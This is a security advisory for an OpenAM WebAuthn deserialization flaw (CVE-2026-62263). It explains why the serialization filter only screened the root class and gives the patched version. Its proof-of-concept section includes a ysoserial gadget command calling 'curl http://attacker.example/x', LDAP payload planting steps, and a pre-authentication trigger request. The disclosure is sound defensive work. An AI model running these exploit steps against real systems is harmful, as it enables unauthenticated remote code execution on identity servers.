criticalCVE-2026-62263Jul 24, 2026

CVE-2026-62263: OpenAM WebAuthn ObjectInputFilter depth>1 Deserialization RCE

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A broken serialization filter in OpenAM's WebAuthn module only checks the root object in a Java serialization stream, leaving every nested class unchecked, so an attacker can hide a gadget chain…

Packageorg.openidentityplatform.openam:openam-auth-webauthn
Ecosystemmaven
Affected<= 16.1.1
Fixed in16.1.2
CVE-2026-62263: OpenAM WebAuthn ObjectInputFilter depth>1 Deserialization RCE

The problem

OpenAM's WebAuthn authentication module stores authenticator data per user and deserializes it during login using a user-controlled userHandle. The prior fix for GHSA-6c99-87fr-6q7r added an ObjectInputFilter that allows only AuthenticatorImpl as the root class.

The filter is fatally flawed: it returns ALLOWED for every object whose stream depth > 1. Java's serialization filter is called for every class in the object graph, not just the root. Because depth == 1 only for the outermost class, the allowlist effectively only screens the root and leaves the entire nested object graph unrestricted.

An attacker controls the userHandle value passed into the deserialization sink, and the sink is reached pre-authentication.

Proof of concept

A working proof-of-concept for CVE-2026-62263 in org.openidentityplatform.openam:openam-auth-webauthn, with the exact payload below.

bash
# Step 1: generate a gadget-chain payload rooted at AuthenticatorImpl.
# The outer wrapper is a real AuthenticatorImpl; the gadget chain sits
# in a nested field (depth > 1) where the filter always returns ALLOWED.
#
# Use ysoserial (or equivalent) to produce the inner gadget bytes,
# then wrap them in a minimal AuthenticatorImpl stream.
# Example using the CommonsCollections6 chain for a command execution:

java -jar ysoserial.jar CommonsCollections6 'curl http://attacker.example/x' > gadget.bin

# Wrap gadget.bin inside an AuthenticatorImpl serialized stream
# (replace the nested byte[] / transient field with the raw gadget bytes)
# and base64-encode the result for LDAP storage:
python3 wrap_authenticator.py gadget.bin | base64 > payload.b64

# Step 2: write payload.b64 into the target user's WebAuthn storage
# attribute (e.g. sunIdentityServerPPInformalName or the configured
# WebAuthn store attribute) via any writable LDAP path.

# Step 3: trigger deserialization by initiating WebAuthn login for
# that userHandle (pre-authentication, no valid assertion needed):
curl -s -X POST 'https://openam.target.example/openam/json/realms/root/authenticate' \
  -H 'Content-Type: application/json' \
  -H 'X-OpenAM-Username: victim' \
  -H 'X-OpenAM-Password: ' \
  -d '{"authId":"","callbacks":[{"type":"HiddenValueCallback","output":[{"name":"value","value":"webauthn-auth"}]}]}'
# readObject() fires on the stored bytes before any assertion check;
# the gadget executes inside the nested graph at depth > 1.

Root cause is CWE-502: the ObjectInputFilter lambda added by the prior fix tests filterInfo.serialClass() against AuthenticatorImpl but falls through to return Status.ALLOWED whenever filterInfo.depth() > 1. Java calls the filter for every class resolved during deserialization, including every class in nested fields, collections, and transitive references.

Because a real gadget chain lives entirely at depth 2+, the allowlist is never consulted for any of its classes.

The patch in commit 9dd0fbe (16.1.2) corrects the filter logic to return REJECTED for any class not in an explicit allowlist regardless of depth, and also blocks classes with array depth beyond a safe bound. This makes the filter a true positive allowlist across the full object graph rather than a root-only check.

The fix

Upgrade openam-auth-webauthn to 16.1.2. The patched ObjectInputFilter rejects any class not explicitly in the allowlist at every depth, closing the bypass completely. As defense-in-depth, also apply a JVM-wide deserialization filter via -Djdk.serialFilter and audit all other callers of ObjectInputStream.readObject() in the deployment for similar depth-conditional short-circuits.

Reported by wodzen.

References: [1][2][3][4]

Related research